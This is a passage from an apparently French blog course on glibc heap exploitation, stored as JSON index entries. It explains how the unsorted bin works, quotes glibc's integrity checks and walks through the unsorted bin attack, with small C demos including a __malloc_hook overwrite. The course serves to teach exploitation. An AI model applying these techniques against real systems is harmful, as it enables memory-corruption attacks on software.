__malloc_hook\");\t\tvoid **malloc_hook = (void **)&amp;__malloc_hook;\t*malloc_hook = (void *)0xdeadbeefcafebabe;\t\tprintf(\"%65510c\"); // ???\t\tputs(\"[+] Travail termineeee !\");\treturn 0;}Le programme plante : [1] 54962 segmentation fault (core dumped) ./exe.Que s’est-il passé ? La chaîne de format \"%65510c\" est utilisée lors de l’appel à printf. Étant donné que cette valeur est très élevée, le programme va allouer dynamiquement de l’espace dans le tas, via malloc. Or, comme nous avons modifié __malloc_hook avec une valeur incorrecte, le programme plante.Il me semble que scanf réalise également des appels à malloc dans certains cas. L’exercice est laissé aux plus motivés de trouver quand cela est réalisé 🤓." }, { "title": "Partie 14 - La unsorted bin - rôle et fonctionnement (1/4)", "url": "/posts/exploitation_de_la_heap_partie_14/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-26 08:00:00 -0200", "snippet": "La unsorted bin : rôle et fonctionnement (1/4)Poursuivons l’analyse détaillée des différents types de corbeilles avec la unsorted bin. Littéralement “corbeille non triée”, cette corbeille contiendr...", "content": "La unsorted bin : rôle et fonctionnement (1/4)Poursuivons l’analyse détaillée des différents types de corbeilles avec la unsorted bin. Littéralement “corbeille non triée”, cette corbeille contiendra notamment les blocs libérés qui n’ont pu être traités ni par le tcache ni par une des fastbins. Contrairement à tous les autres types de corbeilles (tcache, fastbins, small bins et large bins) la unsorted bin n’est constituée que d’une seule corbeille contrairement aux autres qui pouvaient en contenir plusieurs en fonction de la taille du bloc libéré. Ce qui est logique : ce type de corbeille n’étant pas trié, tous les blocs sont placés dans la même corbeille. Toutefois, cette unique corbeille peut contenir plusieurs blocs qui sont organisés sous la forme d’une liste doublement chaînée circulaire.UtilisationLa unsorted bin est une zone tampon où les blocs qui n’ont pas pu être traités par la fastbin et le tcache seront reçus en raison de leur grande taille.L’idée derrière l’utilisation de cette corbeille est de pouvoir réutiliser rapidement, si possible, un bloc de grande taille qui a été récemment libéré. Prenons par exemple le cas d’un programme qui gère l’envoi et la réception des messages via la structure suivante :struct message {\tint message_type;\tunsigned int message_size; // Est censé toujours être &lt; 0x500\tchar content[0x500];};Bien que la taille des données contenues dans le message peut varier de 0 à 0x500, la structure, elle, a toujours la même taille supérieure à 0x500 octets. Voici comment peut être recyclé un bloc lors de l’envoi de plusieurs messages : un message doit être envoyé : un appel à malloc(sizeof(message)) est réalisé ; une fois le message envoyé, la mémoire qui lui était allouée est libérée avec free : le bloc ayant une taille supérieure à 0x500 octets, il est placé dans la unsorted bin ; un nouveau message doit être envoyé : l’appel à malloc est réalisé à nouveau mais cette fois-ci, le bloc est récupéré depuis la unsorted bin plutôt que d’allouer un nouveau bloc dans le tas. Bah oui mais ça on le savait déjà, c’est aussi le principe des autres types de corbeilles 🤨 …C’est vrai 😅. Pour tout vous dire, ce comportement est effectivement partagé par tous les autres types de corbeilles : s’il existe un bloc de taille n dans une corbeille et qu’une allocation de taille n est demandée, le bloc en question sera retourné par malloc. Mais bon, une piqûre de rappel de temps à autre, ça ne fait pas de mal 😊.Fragmentation des blocs libresLa différence notable dans la gestion des blocs de la unsorted bin comparée aux autres, est qu’il est possible de fragmenter un bloc libre en un bloc de plus petite taille pour satisfaire une demande lorsque la taille du bloc à allouer est plus petite que la taille du bloc présent dans la unsorted bin. C’est du charabia 🫣 ?Voyons ce que cela signifie à l’aide d’un schéma : initialement deux blocs sont alloués : un premier de 0x500 octets et un second afin d’éviter la consolidation du bloc A avec le bloc du sommet ; le bloc A est libéré, comme sa taille ne lui permet pas d’être traité par une fastbin ou le tcache, il est inséré dans la unsorted bin ; afin d’allouer un bloc de 0x100 octets, la unsorted bin sépare le bloc libre de 0x500 octets qu’elle contient en deux blocs : un bloc de 0x100 octets qui sera réutilisé et retourné par malloc ; un bloc de 0x400 octets qui reste dans cette corbeille. Gestion des blocs libresTaille des blocs gérésConcernant la taille des blocs, la règle à retenir est la suivante : un bloc dont la taille ne lui permet pas d’être géré par une fastbin ou le tcache atterrit dans la unsorted bin.Si vous souhaitez absolument avoir des chiffres concernant la taille indicative à partir de laquelle un bloc peut être envoyé dans la unsorted bin, les voici :   glibc &lt; 2.26 glibc ≥ 2.26 32 bits 0x48 0x410 64 bits 0x90 0x420 Si à un moment donné, vous souhaitez envoyer un bloc de grande taille non pas dans la unsorted bin mais dans la fastbin, n’oubliez pas que cela est possible en modifiant la variable globale global_max_fast 😉.Le tableau ci-dessus donne une idée de la taille à partir de laquelle un bloc est envoyé dans la unsorted bin. Cela ne veut pas pour autant qu’elle ne peut pas contenir des blocs de plus petite taille. Ce n’est pas une règle stricte.Par exemple, si un bloc libre de 0x500 octets est présent dans la unsorted bin et qu’une allocation nécessite 0x400 octets, le bloc libre sera fragmenté et le reste de 0x100 restera dans la unsorted bin alors qu’un bloc de cette taille devrait normalement être géré par le tcache. Pour résumer cette histoire de taille : les blocs qui ne vont pas dans une fastbin ou dans le tcache sont gérés par la unsorted bin mais il est possible qu’elle contienne des blocs de plus petite taille issus des restes de la fragmentation.Organisation de la corbeilleEncore une fois, la unsorted bin n’est constituée que d’une seule corbeille qui peut contenir plusieurs blocs. Voici les spécificités de la gestion des blocs dans la unsorted bin : les blocs sont gérés via un système de liste doublement chaînée circulaire ; la liste est de type FIFO (First In First Out). Autrement dit le premier bloc arrivé, est le premier servi (si sa taille est évidemment adaptée à la taille demandée lors de l’allocation) ; si un ou plusieurs blocs contigus sont libérés, ils sont consolidés en un seul bloc libre de plus grande taille.Le fait que la liste soit doublement chaînée et circulaire implique plusieurs choses : chaque bloc pointe vers son prédécesseur et son successeur via les pointeurs fd et bk ; le prédécesseur du premier bloc et le successeur du dernier bloc sont une adresse dans l’arène.Pour y voir plus clair concernant le fonctionnement de la liste chaînée et de la consolidation, prenons deux exemples : dans le premier exemple, les blocs libérés seront consolidés ; dans le deuxième exemple les blocs ne seront pas fusionnés. Lorsque des blocs libres sont présents dans différents types de corbeilles et qu’une allocation est demandée, voici l’ordre de recherche : tcache ➡️ fastbins ➡️ small bins ➡️ unsorted bins ➡️ large bins (source).↕️ Consolidation des blocs Trois blocs A, B et C de 0x500 octets sont alloués. Un quatrième bloc est alloué afin d’éviter la consolidation du bloc C, une fois libéré, avec le bloc du sommet ; le bloc A est libéré et tombe dans la unsorted bin. Étant donné qu’il est le seul bloc, il pointe, de part et d’autre, vers la unsorted bin qui elle-même pointe vers lui ; le bloc B est libéré et est consolidé avec le bloc A ; le bloc C est libéré et est fusionné de la même manière. Au final, il n’y a qu’un seul bloc de 0xf00 (0x500 * 3 ) dans l’unsorted bin.Nous verrons un peu plus loin comment le premier et dernier bloc pointent vers l’arène. Pour le moment, faisons comme si la unsorted bin avait réellement une place attitrée quelque part en mémoire. Pour rappel, fd est l’abréviation de forward qui désigne le bloc suivant. Tandis que bk est l’abréviation de backward qui désigne le bloc précédent.🔃 Liste doublement chaînée circulaireQue se passe-t-il dans le cas où plusieurs blocs sont placés dans la unsorted bin ? Cette fois-ci, les trois blocs de 0x500 sont séparés par des blocs de petite taille afin de ne pas déclencher de consolidation ; le bloc A est libéré : comme il n’y a qu’un seul bloc dans la unsorted bin, il pointe de part et d’autre vers la unsorted bin et inversement ; le bloc B est libéré : étant donné que la structure est de type FIFO, le bloc B est placé derrière le bloc A. Désormais, la unsorted bin pointe vers le bloc A, qui est son premier bloc, et le bloc B, qui est son dernier bloc ; le bloc C est libéré : ce dernier est placé derrière le bloc B. La unsorted bin pointe vers le bloc A (premier bloc) et le bloc C (dernier bloc). Mon Dieu j’ai la tête qui tourne 😵‍💫.Le souci des listes à la fois doublement chaînées et circulaires est qu’il y a, en effet, des pointeurs dans tous les sens 😅. N’hésitez pas à revoir le schéma à tête reposée ou de le refaire à la main pour vous assurer de bien avoir compris la gestion des blocs placés dans la unsorted bin. La unsorted bin pointe vers le premier et le dernier bloc.🖥️ Dans la vraie vieBon, ça c’était sur le papier. Voyons ce que le précédent exemple donne dans gdb. Le code à compiler est le suivant :#include &lt;stdlib.h&gt;int main(){ // Allocations void *a = malloc(0x500); malloc(1); void *b = malloc(0x500); malloc(1); void *c = malloc(0x500); // Evite la consolidation malloc(1); // Liberations free(a); free(b); free(c); return 0;}Il n’est pas nécessaire de le compiler avec une version en particulier de gcc, un simple gcc -g main.c -o exe devrait suffire. Lançons le programme fraîchement compilé dans gdb. Mettons un point d’arrêt au return et jetons un œil à ce qui s’est passé :En y jetant un œil attentif on retrouve les mêmes principes présentés dans les précédents schémas : chaque bloc pointe vers le bloc précédent avec le champ bk et le bloc suivant avec le champ fd ; le premier et dernier bloc pointent vers l’adresse 0x00007ffff7e1ace0 qui était schématisé, jusque-là, comme étant la unsorted bin.Voyons de plus près ce que contient cette adresse :Il s’agit d’une adresse contenue dans l’arène principale. Utilisons la commande arena pour en savoir plus :Il s’agit des deux premiers éléments du membre bins de l’arène. bins contient les corbeilles du type : unsorted bins ; small bins ; large bins. Nous aurons longuement l’occasion d’expliciter le fonctionnement et l’agencement des corbeilles dans le tableau bins lors du chapitre sur les small bins.En somme, il s’agit de toutes les corbeilles “classiques”. Les deux premiers indices sont uniquement utilisés pour la unsorted bin : l’index 0 (équivalent de fd) pointe vers le dernier bloc ; l’index 1 (équivalent de bk) pointe vers le premier bloc.Voici ce que ça donne en ajoutant ces informations sur un schéma : Cela peut paraître contre-intuitif que le champ fd de la unsorted bin ne pointe pas vers le premier bloc A mais cela est en réalité logique. En effet, si on suit le champ fd de chaque bloc on réalise un parcours circulaire de la liste.Vous savez maintenant comment la unsorted bin est réellement utilisée en mémoire.♻️ Recyclage et fragmentation des blocs libres À quoi ça sert d’avoir une corbeille fourre-tout alors qu’il semble exister des corbeilles qui gèrent mieux les blocs de grande taille 🤔 ?Comme son nom l’indique, la unsorted bin n’est pas triée et n’a pas vocation à être optimisée. Le but de cette corbeille est de réutiliser rapidement des blocs de grande taille, si possible, afin d’éviter de les trier dans une small bin ou large bin.Ainsi, la unsorted bin est une corbeille “de passage”. Mais que signifie cela concrètement ? Prenons les deux exemples suivants : un programme où un bloc de 0x500 octets est libéré avant d’effectuer une allocation de 0x100 octets ; un programme où un bloc de 0x500 octets est libéré avant d’effectuer une allocation de 0x600 octets.1️⃣ Fragmentation du blocCommençons avec le premier cas :#include &lt;stdlib.h&gt;int main(){ void *a = malloc(0x500); malloc(1); // Evite la consolidation free(a); malloc(0x100); return 0;}Après libération du gros bloc, ce dernier est bien évidemment placé dans la unsorted bin :Que va-t-il se passer lorsqu’un bloc de 0x100 octets devra être alloué ? Voici le contenu de la unsorted bin au retour de malloc :Pas besoin d’être un génie 🤓 pour comprendre ce qui s’est passé : le programme a besoin d’allouer 0x100 octets. Pour satisfaire sa demande, la unsorted bin lui donne volontiers 0x100 octets en les prenant du bloc libre.2️⃣ Recyclage du blocReprenons la même base de code sauf que cette fois-ci la nouvelle allocation sera de 0x600 octets :#include &lt;stdlib.h&gt;int main(){ void *a = malloc(0x500); malloc(1); // Evite la consolidation free(a); malloc(0x600); // 0x100 -&gt; 0x600 return 0;}Que se passe-t-il une fois l’allocation terminée ?Le bloc a été transféré vers une large bin ! Ainsi, tant qu’un bloc libre dans la unsorted bin est réutilisé, totalement ou partiellement, il y reste. En revanche, s’il n’a pas pu satisfaire une allocation, par exemple de plus grande taille, il est transféré dans la small bin ou large bin en fonction de sa taille.Nous n’allons pas nous étaler ici sur le fonctionnement de ces deux types de corbeilles qui feront l’objet d’un chapitre dédié.Structure et métadonnées d’un bloc de la unsorted binAutant le fonctionnement de la liste doublement chaînée circulaire est, un peu complexe, autant les métadonnées d’un bloc sont très basiques :Vous remarquerez que nous avons enfin un type de corbeille qui utilise réellement bk pour y stocker un pointeur vers le bloc précédent 🙃." }, { "title": "Partie 15 - La unsorted bin - mécanismes de protection (2/4)", "url": "/posts/exploitation_de_la_heap_partie_15/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-25 08:00:00 -0200", "snippet": "La unsorted bin : mécanismes de protection (2/4)Protections selon les versionsComme pour le tcache, voyons maintenant quelles protections ont été ajoutées à la unsorted bin au fil du temps. 2.11 :...", "content": "La unsorted bin : mécanismes de protection (2/4)Protections selon les versionsComme pour le tcache, voyons maintenant quelles protections ont été ajoutées à la unsorted bin au fil du temps. 2.11 : Contrôle de l’intégrité des deux liens entre la unsorted bin et le dernier bloc lors de l’insertion d’un bloc libre ; 2.28 : Contrôle de l’intégrité des deux liens entre le bloc à retirer (victim) et son prédécesseur lors du retrait de victim (au moment d’une allocation par exemple) ; 2.29 : Ajout de plusieurs vérifications lors de la recherche d’un bloc libre, adaptée à l’allocation demandée, dans la unsorted bin. Un bloc désigné comme victim est un bloc qui va potentiellement être retiré de la unsorted bin, pour satisfaire une allocation par exemple.Version 2.11 - Contrôle de l’intégrité des liens d’un bloc inséré❌ Messages d’erreur associés : malloc(): corrupted unsorted chunks ; malloc(): corrupted unsorted chunks 2 ; free(): corrupted unsorted chunks.Lors de la version 2.11 de la glibc, un contrôle d’intégrité est ajouté dans le fameux fichier malloc.c. Il ne s’agit pas de trois vérifications distinctes mais d’une seule et même vérification présente aux trois endroits suivants : lors de l’ajout d’un reste dû au fractionnement d’un bloc libre de la unsorted bin ; lors de l’ajout d’un reste (dans la unsorted bin) dû au fractionnement d’un bloc libre de la small bin ou large bin ; lorsqu’un bloc vient d’être libéré et qu’il doit être ajouté à la unsorted bin.La vérification effectuée est la suivante :bck = unsorted_chunks(av);fwd = bck-&gt;fd;if (__builtin_expect (fwd-&gt;bk != bck, 0)) // Vérification ici{\terrstr = \"free(): corrupted unsorted chunks\";\tgoto errout;}Lorsque l’on n’a pas l’habitude de lire le code source de malloc.c, on a très rapidement une migraine en essayant de déchiffrer de tête les différentes expressions 🤯. Faisons cela ensemble.Tout d’abord, il faut savoir que unsorted_chunks(av) pointe vers la unsorted bin. À chaque fois que vous lirez unsorted_chunks(av) vous pouvez le traduire par “unsorted_bin de l’arène courante”. Pour rappel, voici ce que l’on entend par unsorted bin en mémoire : Cela revient en quelque sorte à considérer la unsorted bin comme si c’était un bloc en mémoire avec un champ fd et bk.En décortiquant les éléments utilisés lors de la vérification, cette dernière peut être décrite in fine de cette manière : if(unsorted_bin-&gt;fd-&gt;bk != unsorted_bin). Cela consiste à vérifier l’intégrité de ces deux liens surlignés en 🟡 :Finalement la vérification consiste à dire : “si je pars de la unsorted bin et que je fais un pas en avant puis un pas en arrière, suis-je retombé au même endroit ?”.Version 2.28 - Contrôle de l’intégrité des liens d’un bloc à retirer❌ Message d’erreur associé : malloc(): corrupted unsorted chunks 3.Ce message d’erreur ressemble beaucoup à ceux de la précédente vérification (version 2.11). Toutefois, la vérification mise en place diffère un peu. Jetons-y un œil :bck = victim-&gt;bk;// (...)/* remove from unsorted list */if (__glibc_unlikely (bck-&gt;fd != victim))\tmalloc_printerr (\"malloc(): corrupted unsorted chunks 3\");En décortiquant l’expression utilisée dans la condition nous obtenons ceci : if (victim-&gt;bk-&gt;fd != victim).Cette fois-ci, la vérification peut être traduite par : “si je pars du bloc à retirer (victim) et que je fais un pas en arrière puis un pas en avant, suis-je retombé au même endroit ?”Prenons l’exemple suivant où le premier bloc A est le bloc à retirer :La différence avec la vérification de la version 2.11 est que le point de départ est le premier bloc de la unsorted bin et non pas la unsorted bin elle-même.Version 2.29 - Ajout de plusieurs vérifications❌ Messages d’erreur associés : malloc(): invalid size (unsorted) ; malloc(): invalid next size (unsorted) ; malloc(): mismatching next-&gt;prev_size (unsorted) ; malloc(): unsorted double linked list corrupted ; malloc(): invalid next-&gt;prev_inuse (unsorted).Wow 😮. Ça fait pas mal de contrôles en plus 🥵 ! Je vous propose de les voir petit à petit, un à un.1️⃣ malloc(): invalid size (unsorted) ➡️ contrôle de la taille min et maxDans la fonction malloc, une recherche est réalisée dans la unsorted bin en partant du début (via unsorted_bin-&gt;bk) afin de trouver un potentiel bloc victim répondant aux exigences de l’allocation demandée.Un contrôle est alors rapidement réalisé sur ce potentiel bloc de la unsorted bin :size = chunksize (victim);// (...)if (__glibc_unlikely (size &lt;= 2 * SIZE_SZ) || __glibc_unlikely (size &gt; av-&gt;system_mem))\tmalloc_printerr (\"malloc(): invalid size (unsorted)\");La fonction chunksize retourne la taille du bloc en prenant en compte les métadonnées. Il s’agit, en d’autre termes, de la taille que l’on trouve dans les métadonnées sans prendre en considérations les bits d’informations (PREV_INUSE etc.) :La valeur de SIZE_SZ est de : 8 en 64 bits ; 4 en 32 bits.Quant à av-&gt;system_mem, il s’agit de la taille de l’espace mémoire alloué pour le tas. Par exemple :Au final, la taille size doit être : strictement supérieure à 8 (32 bits) ou 0x10 (64 bits) ; inférieure ou égale à la taille totale du tas. Il est possible que la valeur minimale de size aboutisse in fine à 0x10 octets (sur 32 bits) ou 0x20 octets (sur 64 bits), en raison de contraintes d’alignement imposées sur les blocs du tas par d’autres vérifications internes.2️⃣ malloc(): invalid next size (unsorted) ➡️ contrôle de la taille min et max du bloc suivantEn ce qui concerne cette vérification, c’est fastoche, il s’agit du même contrôle de taille sauf que cette fois-ci cela s’applique sur le bloc situé en dessous de victim (conformément à la taille size indiquée dans les métadonnées de victim) :mchunkptr next = chunk_at_offset (victim, size);// (...)if (__glibc_unlikely (chunksize_nomask (next) &lt; 2 * SIZE_SZ)|| __glibc_unlikely (chunksize_nomask (next) &gt; av-&gt;system_mem))\tmalloc_printerr (\"malloc(): invalid next size (unsorted)\");3️⃣ malloc(): mismatching next-&gt;prev_size (unsorted) ➡️ contrôle de cohérence entre size et prev_sizeCette vérification n’est pas très compliquée à comprendre, la voici :size = chunksize (victim);mchunkptr next = chunk_at_offset (victim, size);// (...)if (__glibc_unlikely ((prev_size (next) &amp; ~(SIZE_BITS)) != size))\tmalloc_printerr (\"malloc(): mismatching next-&gt;prev_size (unsorted)\");Cela consiste à se poser cette question : “est-ce que la taille size du bloc victim est égale à la taille prev_size du bloc suivant ?”. En effet, quand un bloc est libéré et placé dans la unsorted bin, le champ prev_size du bloc suivant est rempli avec la taille du bloc libéré.Dans l’exemple ci-dessous, un bloc de 0x100 octets se retrouve dans la unsorted bin (après fractionnement), la valeur de size et prev_size sont, dans ce cas, cohérentes : Cette erreur peut survenir lorsque l’on corrompt le champ prev_size pour forcer la consolidation de deux blocs en vue d’une attaque exploitant la unsorted bin.4️⃣ malloc(): unsorted double linked list corrupted ➡️ contrôle de l’intégrité du bloc victimComme d’habitude, voici la partie du contrôle qui nous intéresse :victim = unsorted_chunks (av)-&gt;bkbck = victim-&gt;bk;if (__glibc_unlikely (bck-&gt;fd != victim)|| __glibc_unlikely (victim-&gt;fd != unsorted_chunks (av)))\tmalloc_printerr (\"malloc(): unsorted double linked list corrupted\");Bon, je vous sens chauds, quelle est la première vérification effectuée dans le if ? Le programme vérifie que victim-&gt;bk-&gt;fd permet de bien retomber sur victim.Oui c’est ça ! Vous voyez, vous commencez désormais à avoir l’habitude de ces vérifications 😉. Quid de la deuxième vérification ? Le programme vérifie que victim-&gt;fd pointe vers la unsorted bin. En d’autres termes, il vérifie que victim est bien le premier bloc de la unsorted bin.{: .prompt-infoEffectivement il est possible de le comprendre de cette manière. Néanmoins une question subsiste : pourquoi victim devrait toujours être le premier bloc alors que ce contrôle est effectué dans une boucle qui passe d’un bloc victim à un autre dans la unsorted bin afin de trouver un bloc adéquat pour l’allocation ?Nous sommes d’accord qu’en début de boucle le premier bloc analysé victim est bien le premier bloc de la unsorted bin. Mais si la taille de ce dernier ne correspond pas à l’allocation demandée, le bloc suivant analysé devient victim auquel cas vicitm-&gt;fd ne devrait plus, a priori, pointer vers la unsorted bin. Comment faire coïncider tout cela ?Traitement des blocs de la unsorted binPour répondre à cette problématique, revenons à un point essentiel du fonctionnement de la unsorted bin : les blocs libres ont une chance d’être réutilisés, s’ils ne le sont pas, ils sont recyclés dans les small bins et large bins. C’est un peu comme le goulag quoi.Pour chaque bloc victim de la unsorted bin : si la taille du bloc victim est exactement la même que celle de l’allocation ➡️ victim est retiré de la unsorted bin et retourné par malloc ; sinon, si la taille du bloc victim est plus grande que celle de l’allocation ➡️ victim est fractionné : la partie ayant la taille demandée est retournée par malloc tandis que l’autre, à savoir le reste, est mis dans la unsorted bin ; sinon, victim est retiré de la unsorted bin et est placé dans une small bin ou large bin en fonction de sa taille.Un des corollaires de cet algorithme est que, lors de la recherche d’un bloc adéquat dans la unsorted bin, victim est toujours le premier bloc. Pour mieux visualiser ce comportement, prenons le cas de ces deux blocs dans la unsorted bin : le premier bloc : 0x500 octets ; le second bloc : 0x800 octets.Que va-t-il se passer lorsque malloc(0x800); sera appelé ? le programme analyse le premier bloc A qui devient victim. N’ayant pas la taille suffisante pour l’allocation, il est recyclé dans la large bin (étant donné sa grande taille) ; le programme passe au prochain bloc B qui devient le nouveau bloc victim. Sachant qu’il satisfait la demande en termes de taille, il est donc retourné par malloc ; le bloc B a été alloué, il ne reste plus aucun bloc dans la unsorted bin.Ça devient plus facile de comprendre comment chaque bloc analysé victim finit par devenir le premier bloc de la unsorted bin non ?5️⃣ malloc(): invalid next-&gt;prev_inuse (unsorted) ➡️ vérification du bit PREV_INUSE du bloc suivantPassons à la dernière vérification ajoutée lors de la version 2.29 dans la unsorted bin. Elle est plus facile à comprendre que la précédente. Voici le code associé à cette vérification :mchunkptr next = chunk_at_offset (victim, size);// (...)if (__glibc_unlikely (prev_inuse (next)))\tmalloc_printerr (\"malloc(): invalid next-&gt;prev_inuse (unsorted)\");Pour rappel, victim est le bloc courant analysé dans la unsorted bin afin de voir s’il remplit les exigences de l’allocation. next est le bloc situé en dessous de victim (conformément à la taille size de victim). Sachant que victim est un bloc libre, alors le bit PREV_INUSE de next ne devrait pas être activé.Par exemple, dans le cas où un bloc libre de 0x80 octets (dû à une fragmentation) est présent dans la unsorted bin suivi d’un bloc next de 0x20 octets, voici ce que cela donne :Si le bit PREV_INUSE de next vaut 1, alors une anomalie est détectée et une erreur est renvoyée." }, { "title": "Partie 16 - Exploiter les vulnérabilités de la unsorted bin - primitives et scénarios (3/4)", "url": "/posts/exploitation_de_la_heap_partie_16/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-24 08:00:00 -0200", "snippet": "Exploiter les vulnérabilités de la unsorted bin : primitives et scénarios (3/4)Après avoir passé un certain temps à comprendre les différentes vérifications ajoutées au fil du temps, passons aux at...", "content": "Exploiter les vulnérabilités de la unsorted bin : primitives et scénarios (3/4)Après avoir passé un certain temps à comprendre les différentes vérifications ajoutées au fil du temps, passons aux attaques et vulnérabilités exploitables via la unsorted bin. unsorted bin attack ; unsorted bin leak.1️⃣ unsorted bin attackÉcrire l’adresse de la unsorted bin à une adresse arbitraire.📋 Exploitabilité selon les versions Version Exploitabilité Commentaire ≤ 2.27 🟢 Exploitable. 2.28 🟡 Exploitable sous certaines conditionsIl faut s’assurer que le champ fd de l’adresse cible pointe bien vers le bloc victim à corrompre afin que la vérification victim-&gt;bk-&gt;fd == victim n’échoue pas. ≥ 2.29 🟠 Très difficilement exploitable.Pas moins de six vérifications doivent être contournées pour que l’attaque réussisse. L’effort nécessaire pour contourner tous ces obstacles remet en question la pertinence même de cette attaque. ⚡ RésuméLa unsorted bin attack est une attaque généralement utilisée comme étape intermédiaire lors de l’exploitation du tas. Elle consiste à écrire l’adresse de la unsorted bin (plus précisément l’adresse située dans l’arène : &amp;av-&gt;bins[0]) à une adresse choisie. Cela permet notamment de faire fuiter une adresse de la libc et trouver où celle-ci est chargée en mémoire. libération d’un bloc A (victim) de n octets (n assez grand pour aller dans la unsorted bin) ; modification de victim-&gt;bk pour pointer vers l’adresse cible ; allocation d’un bloc de n octets.🔥 ConséquencesEn exploitant cette vulnérabilité, il est possible d’aboutir à : une écriture (de données non arbitraires) à une adresse arbitraire.🔧 Primitives d’exploitationCette attaque peut notamment être réalisée à l’aide des primitives suivantes : use-after-free : en ayant la possibilité de modifier directement un bloc libre, il est possible de modifier victim-&gt;bk si l’écriture permet d’atteindre ce champ ; buffer overflow dans le tas : s’il est possible de réaliser un dépassement de mémoire depuis un des blocs situés avant le bloc victim, alors victim-&gt;bk peut être modifié ; écriture arbitraire : en ayant une primitive d’écriture arbitraire victim-&gt;bk peut être facilement modifié. Cette primitive peut également rendre l’attaque inutile si l’on a déjà la possibilité d’écrire n’importe quoi n’importe où 😅.📃 Détails de l’exploitationSur le papier, cette attaque peut sembler assez complexe en raison des magouilles réalisées dans la liste doublement chaînée. Pourtant, toute la magie de la unsorted bin attack repose sur cette seule ligne dans malloc.c, dans la fonction _int_malloc :// bck = victim-&gt;bk;/* remove from unsorted list */if (__glibc_unlikely (bck-&gt;fd != victim))\tmalloc_printerr (\"malloc(): corrupted unsorted chunks 3\");unsorted_chunks (av)-&gt;bk = bck;bck-&gt;fd = unsorted_chunks (av); // &lt;--- Ici C’est précisément cette affectation qui écrit l’adresse de la unsorted bin (aka unsorted_chunks (av) ) à l’emplacement victim-&gt;bk-&gt;fd.Savoir d’où provient l’écriture de l’adresse de la unsorted bin, c’est bien, mais il faut surtout comprendre comment amener l’exécution jusque-là.Réutilisation d’un bloc libre de la unsorted binUne chose qu’il faut savoir concernant le traitement des blocs de la unsorted bin dans l’algorithme de malloc est que le bloc victim est d’abord retiré de la unsorted bin puis ensuite analysé afin de savoir si : le bloc peut être réutilisé tel quel, lorsqu’il a la même taille que celle de l’allocation ; le bloc peut être scindé, lorsqu’il est plus grand que la taille de l’allocation ; le bloc est trop petit et doit être recyclé dans une small bin ou large bin.C’est au moment où le bloc est retiré de la unsorted bin qu’est exécutée bck-&gt;fd = unsorted_chunks (av);, c’est-à-dire avant qu’il ne soit traité. Bon. Cela signifie que ce n’est pas très compliqué d’arriver ici. Parmi les trois cas de figure précédemment listés, seul un cas permet de réaliser l’attaque sans qu’une erreur ne soit renvoyée : lorsque l’allocation est de la même taille que le bloc retiré. Lorsque le bloc victim doit être scindé, il semblerait qu’il y ait plus de vérifications effectuées. En tout cas, c’est ce qui arrive dans la version 2.27 de la glibc, je n’ai pas testé ce cas de figure dans les versions précédentes afin de voir si une erreur est également renvoyée.Mise en œuvre pratique de l’attaqueVoici les étapes à suivre afin de mettre en place cette attaque : allouer un bloc de taille n assez grande pour qu’il aille dans la unsorted bin ; libérer ce bloc ; utiliser une primitive d’exploitation pour modifier le champ bk de ce bloc vers adresse_cible - 0x10 ; réaliser une allocation de taille n.Pas très compliqué au final, non 😇 ? Si la version de la libc est inférieure à la 2.28, n’ayez pas peur d’écraser le champ fd (du bloc modifié) avec une valeur quelconque ; cela n’entravera pas l’attaque étant donné que le programme ne détectera pas cette anomalie. Pourquoi faut-il modifier le champ bk avec adresse_cible - 0x10 et pas directement adresse_cible ?Bonne question ! Pour y répondre revoyons de plus près la ligne qui écrit l’adresse de la unsorted bin en mémoire :// bck = victim-&gt;bk;bck-&gt;fd = unsorted_chunks (av); // &lt;--- Ici // C'est-à-dire :victim-&gt;bk-&gt;fd = unsorted_chunks (av);Le programme n’écrit pas directement l’adresse de la unsorted bin à l’adresse pointée par victim-&gt;bk mais l’écrit à l’adresse &amp;(victim-&gt;bk-&gt;fd). Par exemple, si on souhaite écrire l’adresse de la unsorted bin à l’adresse 0x555555559900, sans retirer 0x10 octets, nous obtenons ceci :On a loupé la cible de 0x10 octets 😶.Que faire de cette attaque ? On peut seulement réécrire l’adresse de la unsorted bin, tu veux que je fasse quoi avec ça 😆 ?Bon, c’est vrai que dit comme ça, c’est pas ouf 😅. Encore une fois, cette attaque est généralement une étape intermédiaire pour une exploitation plus avancée du programme. Nous pouvons notamment imaginer les scénarios suivants :Faire fuiter une adresse de la libc depuis la pile Hypothèse : savoir où est située la pile (grâce à un leak via des format strings par exemple).Si on a la possibilité de faire fuiter le contenu de la pile, il est possible d’utiliser cette attaque pour y écrire une adresse de la libc, la faire fuiter et trouver ensuite où est chargée la libc en mémoire.Faire fuiter une adresse de la libc depuis le tas Hypothèses : il est possible d’afficher le contenu de l’adresse cible ; l’adresse à laquelle est chargé le tas est connue (via une fuite par exemple). S’il n’est pas possible d’afficher le contenu des blocs de grande taille et réaliser une fuite de données via la unsorted bin leak, nous pouvons envisager d’écrire son adresse dans un bloc de plus petite taille qui pourra ensuite être affiché et ainsi faire fuiter une adresse de la libc.Modifier la variable global_max_fastHypothèse : savoir à quelle adresse est située global_max_fast.Lors du chapitre dédié aux fastbins, nous avions très brièvement parlé de la variable globale global_max_fast. Nous avions alors affirmé qu’un attaquant pouvant modifier sa valeur peut augmenter la taille maximale d’un bloc pouvant aller dans une fastbin.La possibilité de modifier global_max_fast permet de mettre en place les attaques (avancées) suivantes : House of Prime ; House of Corrosion ; House of Husk.La liste n’est pas exhaustive. Ces attaques avancées ne seront pas détaillées dans le cadre de ce cours d’introduction au pwn. Vous remarquerez que bon nombre d’attaques dans le tas ont pour nom “House of quelque chose”. Il semblerait que ce soit pour une raison historique 🤔.De manière générale, ayez de l’imagination ! Si une variable ayant une petite valeur vous semble contraignante, n’hésitez pas à la modifier avec cette attaque pour voir si cela vous permet d’aller plus loin.Exemple : une variable qui limite le nombre d’allocations alors que vous avez besoin de bien plus d’allocations pour réaliser une autre attaque dans le tas.🚧 Obstacles et contraintesASLRLorsque l’ASLR est active, il est souvent nécessaire d’avoir un leak permettant de connaître les octets de poids fort (aléatoires) de l’adresse cible.💡ContournementPlusieurs cas sont possibles en fonction de la localisation de l’adresse cible : dans la même zone mémoire que celle de la libc : l’adresse cible aura, par conséquent, les mêmes octets de poids fort aléatoires que l’adresse initialement présente dans bk. Il suffit seulement de modifier les octets de poids faible, avec un peu de force brute s’il y a besoin de modifier plus que l’octet de poids faible ; en dehors de la libc : une fuite sera sûrement nécessaire pour connaître l’adresse cible.Présence du tcacheComme vous le 